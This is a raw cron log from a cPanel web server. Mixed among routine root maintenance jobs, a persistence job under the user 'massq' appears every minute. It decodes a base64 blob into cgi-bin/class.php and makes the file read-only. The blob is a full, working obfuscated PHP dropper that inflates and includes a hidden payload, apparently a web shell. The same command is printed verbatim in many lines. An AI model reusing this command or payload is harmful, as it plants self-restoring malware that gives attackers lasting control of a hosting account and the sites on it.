Sep  8 21:40:01 server CROND[11748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:40:01 server CROND[11745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:40:01 server CROND[11749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:40:01 server CROND[11750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:40:01 server CROND[11746]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:40:01 server CROND[11747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:41:01 server CROND[12605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:41:01 server CROND[12606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:41:01 server CROND[12607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:42:01 server CROND[12972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:42:01 server CROND[12971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:42:01 server CROND[12974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:42:01 server CROND[12973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:43:01 server CROND[13335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:43:01 server CROND[13336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:43:01 server CROND[13337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:44:01 server CROND[13786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:44:01 server CROND[13787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:44:01 server CROND[13788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:45:01 server CROND[14176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:45:01 server CROND[14178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:45:01 server CROND[14179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:45:01 server CROND[14181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:45:01 server CROND[14180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:45:01 server CROND[14182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:45:01 server CROND[14183]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:46:01 server CROND[14995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:46:01 server CROND[14997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:46:01 server CROND[14996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:47:01 server CROND[15373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:47:01 server CROND[15372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:47:01 server CROND[15374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:48:01 server CROND[15738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:48:01 server CROND[15739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:48:01 server CROND[15740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:49:01 server CROND[16222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:49:01 server CROND[16221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:49:01 server CROND[16223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:50:01 server CROND[16600]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:50:01 server CROND[16601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:50:01 server CROND[16608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:50:01 server CROND[16612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:50:01 server CROND[16613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:50:01 server CROND[16616]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:50:01 server CROND[16615]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:50:01 server CROND[16614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:50:01 server CROND[16619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:51:01 server CROND[17426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:51:01 server CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:51:01 server CROND[17428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:52:02 server CROND[17800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
